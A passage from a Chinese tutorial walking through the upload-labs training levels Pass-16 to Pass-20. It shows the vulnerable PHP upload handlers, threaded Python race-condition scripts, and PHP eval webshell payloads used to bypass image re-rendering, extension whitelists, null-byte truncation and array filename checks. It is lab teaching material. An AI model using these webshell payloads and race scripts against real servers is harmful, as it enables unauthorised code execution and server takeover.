                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
?>

imagecreatefrom 系列函数用于从文件或 URL 载入一幅图像。成功返回图像资源,失败则返回一个空字符串。

该系列函数有:

imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
imagecreatefromwbmp():创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像
imagecreatefromstring():创建一块画布,并从字符串中的图像流新建一副图像

用之前上传图片马的思路上传文件,然后会发现虽然一句话木马没有显示,但是通过该路径依然无法连接。把文件下载下来用编辑器查看,会发现一句话木马已经被过滤掉了。

在这里插入图片描述
通过WinHex查看对比普通的图片文件上传前和上传后的变化,会发现前面的部分没有变化。在没改变的地方插入一句话木马即可。

在这里插入图片描述

再次上传修改后的文件,发现一句话木马没有被过滤,可以用菜刀连接路径获得webshell。(经过测试发现此方法仅gif文件可行,jpg和png不能简单使用该方法绕过)。

https://xz.aliyun.com/t/2657
通过jpg和png的绕过方法

条件竞争绕过+代码审计

Pass-17。先看一下后台的代码。

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
?>

分析可知这里主要有3个操作,分别是move_uploaded_file()移动文件,in_array()判断文件后缀是否在白名单内,和rename()修改文件名。这里面会产生条件竞争漏洞。

当程序在服务端并发处理用户请求时问题就来了。如果文件上传成功,但是在相关安全检查发现它是不安全文件删除它以前,这个文件就被执行了那么会怎样呢?

假设攻击者上传了一个用来生成恶意shell的文件,在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意shell的文件。至此,该文件的任务就已全部完成,至于后面发现它是一个不安全的文件并把它删除的问题都已经不重要了,因为攻击者已经成功的在服务器中植入了一个shell文件,后续的一切就都不是问题了。

进行漏洞利用需要Python编程,还要利用hackhttp库。

//请求的代码
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
    hh = hackhttp.hackhttp()
	
    code,head,html,redirect,log = hh.http('http://www.upload_lab.com/upload/backdoor.php')
    print code

pool = ThreadPool(50)
pool.map(upload,range(5000))
pool.close()
pool.join()
//上传文件的代码
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
    hh = hackhttp.hackhttp()
    raw = """POST /Pass-18/index.php HTTP/1.1
Host: www.upload_lab.com
User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.upload_lab.com/Pass-18/index.php
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------279133145120466
Content-Length: 348

-----------------------------279133145120466
Content-Disposition: form-data; name="upload_file"; filename="backdoor.php"
Content-Type: application/octet-stream

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
-----------------------------279133145120466
Content-Disposition: form-data; name="submit"

submit
-----------------------------279133145120466--
"""
    code,head,html,redirect,log = hh.http('http://www.upload_lab.com/Pass-17/index.php',raw=raw)
    print code

pool = ThreadPool(50)
pool.map(upload,range(10000))
pool.close()
pool.join()

两个代码同时运行,就有几率在upload文件夹中生成shell.php文件,然后通过菜刀利用一句话木马即可获得webshell。

在这里插入图片描述

条件竞争和解析漏洞绕过+代码审计

Pass-18,思路和Pass-17基本一样,而且只需要执行upload的代码。

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
    hh = hackhttp.hackhttp()
    raw = """POST /Pass-18/index.php HTTP/1.1
Host: www.upload_lab.com
User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.upload_lab.com/Pass-18/index.php
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------8116162727142
Content-Length: 342

-----------------------------8116162727142
Content-Disposition: form-data; name="upload_file"; filename="backdoor.php.aaa"
Content-Type: application/octet-stream

<?php @eval($_POST["cmd"]);?>
-----------------------------8116162727142
Content-Disposition: form-data; name="submit"

submit
-----------------------------8116162727142--"""
    code,head,html,redirect,log = hh.http('http://www.upload_lab.com/Pass-18/index.php',raw=raw)
    print code

pool = ThreadPool(50)
pool.map(upload,range(10000))
pool.close()
pool.join()
//index.php
<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
	//引用一个php文件
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    //这里调用了myupload的upload方法
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}
?>

在这里插入图片描述
效果图。原理是利用不断move和rename,修改的空隙把文件上传成功。

看看myupload.php文件的内容

//myupload.php

  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

	//这里的检查后缀是关键
    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file
	
    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
}
//myupload.php

  /** checkExtension()
   **
   ** Method to check if we accept the file extension.
   ** @returns string
  **/
  function checkExtension(){
    
    // Check if the extension is valid
	//检查扩展名是否在白名单中
    if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
      return "EXTENSION_FAILURE";
    } else {
      return 1;
    }
  }
//myupload.php
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" ,".aaa");

这里就是利用的Apache的一个解析漏洞,当可以上传一个Apache不能解析的后缀名时,它会自动去解析前面的.php,达到绕过的目的。

00截断漏洞绕过+代码审计

Pass-19。和前面的Pass-12的套路是一样的。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
看一看它的代码

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        /*
        $file_name = trim($_POST['save_name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        */

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
		//判断的后缀名是.jpg
        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            //在windows中遇到00说明文件结束,于是只留00前面的文件名即backdoor.php
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

pathinfo() 函数以数组的形式返回关于文件路径的信息。第二个参数可选。规定要返回的数组元素。默认是 all。可能的值有:

PATHINFO_DIRNAME - 只返回 dirname
PATHINFO_BASENAME - 只返回 basename
PATHINFO_EXTENSION - 只返回 extension
PATHINFO_FILENAME - 只返回 filename

数组配合Windows特性绕过+代码审计

Pass-20,修改上传文件的content-type之后文件可以上传成功,但是后缀名会变。去看一下后台的代码:

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';


if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {

        $is_upload = false;
        $msg = null;
        if(!empty($_FILES['upload_file'])){
            //mime check
            $allow_type = array('image/jpeg','image/png','image/gif');
            if(!in_array($_FILES['upload_file']['type'],$allow_type)){
                $msg = "禁止上传该类型文件!";
            }else{
                //check filename
                $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
                
                if (!is_array($file)) {
                	//用.连接数组中的元素
                    $file = explode('.', strtolower($file));
                }
				//绕过点1
                $ext = end($file);
                $allow_suffix = array('jpg','png','gif');
                if (!in_array($ext, $allow_suffix)) {
                    $msg = "禁止上传该后缀文件!";
                }else{
                	//reset() 函数将内部指针指向数组中的最后一个元素,并输出。绕过点2
                    $file_name = reset($file) . '.' . $file[count($file) - 1];
                    $temp_file = $_FILES['upload_file']['tmp_name'];
                    $img_path = UPLOAD_PATH . '/' .$file_name;
                    if (move_uploaded_file($temp_file, $img_path)) {
                        $msg = "文件上传成功!";
                        $is_upload = true;
                    } else {
                        $msg = "文件上传失败!";
                    }
                }
            }
        }else{
            $msg = "请选择要上传的文件!";
        }
        
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}



?>

为了绕过上面的两条语句,应该在请求包里面构建这么一个格式的数组

array(2) {
	[0] => "backdoor.php",
	[2] => "jpg"
}

此时的file[1]返回的结果就是空,然后在利用之前的.绕过的原理,即可成功上传一句话木马,请求包的内容如图:

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-05 20:17:07  更:2021-07-05 20:17:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:43:43-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码